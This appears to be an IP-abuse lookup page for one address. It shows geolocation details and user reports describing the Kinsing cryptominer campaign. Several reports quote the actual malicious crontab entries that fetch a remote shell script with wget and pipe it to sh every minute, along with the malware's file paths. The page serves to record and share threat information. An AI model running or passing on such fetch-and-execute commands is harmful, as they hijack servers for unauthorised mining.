LiveIPMap.com allows you to lookup or report an IP abuse case. Please take note that the abuse records listed on this website was the summarized results compiled from all reporters, and it's only just for your information. We do not guarantee the correctness, reliability and completeness of the abuse data.

Live IP Map

You have exceed your daily query limit.

   

IP Information

IP Address 195.3.146.118
Country country flag United States of America
Region Virginia
City Ashburn
Latitude 39.04372
Longitude -77.48749
ZIP Code 20146
Time Zone UTC -05:00
ISP CloudFlare Inc.
Domain cloudflare.com
Net Speed T1
Usage Type (CDN) Content Delivery Network
IDD Code 1
Area Code 703
Elevation 89 meters
Weather Ashburn (USVA0027)
Weather Condition View Weather
Abuse Recorded 195.3.146.118

Reported on 07 Jan, 2020 12:12:54 PM

Linux cryptocurrency miner

IP is distributing a shell script that downloads a bitcoin miner for Linux and starts it automatically script can be found at: http://195.3.146.118/ex.sh


Reported on 12 Jan, 2020 11:48:57 AM

CryptoCurrency Mining

This ip is trying to download and execute a shell script on my server


Reported on 14 Jan, 2020 10:52:06 AM

CryptoMiner

Crontab content was: * * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1 Downloads a CryptoMiner


Reported on 19 Jan, 2020 02:33:09 AM

every minute cron job installed malware on my server and ran mining code using 100% of CPU

hacked into my server (using www-data username) cron job installed on crontab: * * * * * wget -q -O - http://195.3.146.118/p.sh | sh > /dev/null 2>81 job ran every minute installing the following files /var/tmp/kinsing /tmp/kdevtmpfsi These would execute about every 5-10 minutes and use 100%+ of every CPU, crashing the site.


Reported on 19 Jan, 2020 02:33:37 AM

every minute cron job installed malware on my server and ran mining code using 100% of CPU

hacked into my server (using www-data username) cron job installed on crontab: * * * * * wget -q -O - http://195.3.146.118/p.sh | sh > /dev/null 2>81 job ran every minute installing the following files /var/tmp/kinsing /tmp/kdevtmpfsi These would execute about every 5-10 minutes and use 100%+ of every CPU, crashing the site.


Reported on 20 Jan, 2020 06:30:44 PM

Kinsing Download

It appears that this has been taken down - but still reporting.


Reported on 23 Jan, 2020 08:07:12 AM

Server hacking

add in htttp crontab: * * * * * wget -q -O - http://195.3.146.118/ex.sh | sh > /dev/null 2>&1 install in /var/tmp/kinsing


Reported on 28 Jan, 2020 08:55:52 AM

Miner kdevtmpfsi

Miner download via crontab (kdevtmpfsi)


Reported on 29 Jan, 2020 07:20:41 AM

kinsing malware

Automatically add cron job to get script file and run as follow: http://195.3.146.118/spr.sh | sh > /dev/null


This site uses the IP2Location geolocation data which is available for download at https://www.ip2location.com. If you would like to check if the given IP address is an proxy, you may use this tool IP Proxy Detection for lookup.

Recent Lookup IP Addresses

Notes

LiveIPMap is a platform open for everyone to report an IP abuse case or to request the release of a falsified abuse case. Anyone is free to lookup for an abuse case. Abuse data listed on this website is real-time updated.

You can click on the Not An Abuse button to dispute an abuse report. Our QA team will review your reason for the delistling. However, the delisting process may take up days or weeks depending on our load..

IP2Location